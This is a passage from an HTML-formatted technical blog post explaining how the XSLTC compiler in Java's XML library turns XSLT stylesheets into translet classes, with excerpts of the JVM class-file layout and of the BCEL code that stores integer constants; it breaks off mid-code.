baseline; white-space: pre-wrap;">final</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">static</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">String</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> DEFAULT_TRANSLET_NAME </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #0f9d58; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">"GregorSamsa"</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p></td></tr><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><a href="https://github.com/openjdk/jdk/blob/98d54e8eb2c37f44f0ffddedfddacd4876f2a027/src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/TransformerFactoryImpl.java#L128" style="text-decoration-line: none;"><span style="background-color: transparent; color: #1155cc; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Turns out</span></a><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> that the author of this codebase was a Kafka fan. </span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">So what does this compilation process look like? XSLTC takes a XSLT stylesheet as input and returns a JIT'ed Java class, called translet, as output. The JVM then loads this class, constructs it and the XSLT runtime executes the transformation via a JIT'ed method. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Java class files contain the JVM bytecode for all class methods, a so-called constant pool describing all constants used and other important runtime details such as the name of its super class or access flags. </span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup><col width="740"></col></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">//</span><span style="background-color: transparent; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> https://docs.oracle.com/javase/specs/jvms/se18/html/jvms-4.html</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ClassFile</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u4 magic</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 minor_version</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 major_version</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 constant_pool_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> cp_info constant_pool</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">constant_pool_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">-</span><span style="background-color: transparent; color: #c53929; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">1</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">]; // cp_info is a variable-sized object</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 access_flags</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 this_class</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 super_class</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 interfaces_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 interfaces</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">interfaces_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 fields_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> field_info fields</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">fields_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 methods_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> method_info methods</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">methods_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> u2 attributes_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">;</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> attribute_info attributes</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">[</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">attributes_count</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">];</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p></td></tr></tbody></table></div><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">XSLTC depends on the Apache Byte Code Engineering Library (BCEL) to dynamically create Java class files. As part of the compilation process, constants in the XSLT input such as Strings or Numbers get translated into Java constants, which are then stored in the constant pool. The following code snippet shows how an XSLT integer expression gets compiled: Small integers that fit into a byte or short are stored inline in bytecode using the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">bipush</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> or </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">sipush</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> instructions. Larger ones are added to the constant pool using the </span><span style="color: #0d904f; font-family: Courier New, sans-serif; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cp.addInteger</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> method:</span></p><br /><div align="left" dir="ltr" style="margin-left: 0pt;"><table style="border-collapse: collapse; border: none;"><colgroup></colgroup><tbody><tr style="height: 0pt;"><td style="background-color: #fafafa; border-bottom: solid #e0e0e0 1pt; border-left: solid #e0e0e0 1pt; border-right: solid #e0e0e0 1pt; border-top: solid #e0e0e0 1pt; overflow-wrap: break-word; overflow: hidden; padding: 5pt 5pt 5pt 5pt; vertical-align: top;"><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">// org/apache/xalan/xsltc/compiler/IntExpr.java</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">public</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">void</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> translate</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ClassGenerator</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> classGen</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">MethodGenerator</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> methodGen</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ConstantPoolGen</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> cpg </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> classGen</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">getConstantPool</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">();</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">InstructionList</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> il </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">=</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> methodGen</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">getInstructionList</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">();</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> il</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">.</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">append</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">new</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> PUSH</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">cpg</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> _value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">));</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #455a64; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">// org/apache/bcel/internal/generic/PUSH.java</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">public</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> PUSH</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">(</span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">final</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #3367d6; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">ConstantPoolGen</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> cp</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">,</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">final</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">int</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> value</span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">)</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #9c27b0; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">if</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">((</span><span style="background-color: transparent; font-family: Courier New, sans-serif; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">value </span><span style="background-color: transparent; color: #616161; font-family: Courier New, sans-serif; font-size: 